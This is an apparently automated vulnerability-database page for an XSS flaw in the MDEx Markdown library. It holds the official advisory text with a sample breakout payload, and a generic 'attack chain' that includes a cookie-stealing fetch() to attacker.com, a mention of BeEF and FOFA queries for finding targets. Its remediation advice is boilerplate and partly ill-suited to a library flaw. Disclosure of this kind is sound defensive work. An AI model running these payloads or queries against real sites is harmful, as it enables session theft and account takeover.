CVE Professor
›
Back
CVE-2026-53427

CVE-2026-53427 — Leandrocp Mdex (0.12.3) — CWE-79

LOW CVSS 2.3 NVD+CVE.org

CVE-2026-53427 is a LOW severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 2.3/10) affecting Leandrocp Mdex (0.12.3). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leandrocp MDEx allows stored or reflected cross-site scripting via attacker-controlled Markdown. When syntax highlighting and full info-string forwarding (render: [full_info_string: true]) are enabled, the Lumis adapter copies the value of a code fence's highlight_lines_class info-string attribute, unescaped, into the class attribute of every rendered line. comrak_nif::lumis_adapter::LumisAdapter::parse_custom_attributes in native/comrak_nif/src/lumis_adapter.rs shlex-parses the info string and stores each key=value pair verbatim, highlight_lines_config pulls highlight_lines_class into the per-line class value, and write_highlighted interpolates that value directly into the class attribute of the per-line <div>. A single-quoted shell token preserves an inner double quote through shlex parsing, so a value such as '"><script>alert(1)</script>' terminates the class attribute early and the markup that follows is emitted as live HTML. An attacker who can submit Markdown (through comments, posts, wiki pages, documentation, or any user-generated content) can inject arbitrary HTML and JavaScript that runs in the browser of every user who views the rendered output, enabling session theft, account takeover, and other client-side attacks. No authentication or special privileges are required. The vulnerable native code originally shipped inside mdex (in native/comrak_nif/src/autumnus_adapter.rs, later renamed to native/comrak_nif/src/lumis_adapter.rs) and was later extracted into the separate mdex_native package (native/mdex_native_nif/src/lumis_adapter.rs). This issue affects mdex: from 0.8.0 before 0.12.3; mdex_native: from 0.1.0 before 0.2.3.

Published 29.06.2026
ISO Date 2026-06-29
CVSS Version v4.0
Source NVD+CVE.org
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. None VA:N
Subseq. Conf. Low SC:L
Subseq. Integ. Low SI:L
Subseq. Avail. None SA:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-53427
CVSS 2.3/10 · LOW · 29.06.2026
CWE: CWE-79
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leandrocp MDEx allows stored or reflected cross-site scripting via attacker-controlled Markdown. When syntax highlighting and full info-string forwarding (render: [full_info_string: true]) are enabled, the Lumis adapter copies the value of a code fence's highlight_lines_class info-string attrib…
Affected: leandrocp:mdex, leandrocp:mdex, leandrocp:mdex_native, leandrocp:mdex_native

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT

🛡️ REMEDIATION
→ Apply vendor security update for leandrocp:mdex.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📌 Low priority — routine update sufficient.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="leandrocp mdex"
CVSS Score
2.3 / 10 · CVSS LOW
Weakness Types (CWE)
CWE-79
Affected Products (4)
leandrocp:mdex (0.12.3) leandrocp:mdex (6ed94d905f97af188323f042698ae841c02293b4) leandrocp:mdex_native (0.2.3) leandrocp:mdex_native (7738ff428a54058ea0a3293eb2e17b5f4c953e2d)
Related CVEs
8.7
CVE-2026-129424
Joomla Extension - solidres.com - Unauthenticated stored XSS through guest reservation details in Solidres ext
7.7
CVE-2026-122244
Budibase is an open-source low-code platform. Prior to 3.50.0, a BASIC application user, or an unauthenticated
7.5
CVE-2026-129423
Joomla Extension - phoca.cz - Stored XSS through author website in frontend upload in Phoca Download extension
7.2
CVE-2026-120508
The Charitable – Donation & Fundraising Platform (Donation Forms, Recurring Donations & Fundraising Campaign
7.2
CVE-2026-129327
The Apaczka.pl WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_apaczka
7.2
CVE-2026-131582
The PagBank / PagSeguro e Vindi para WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scrip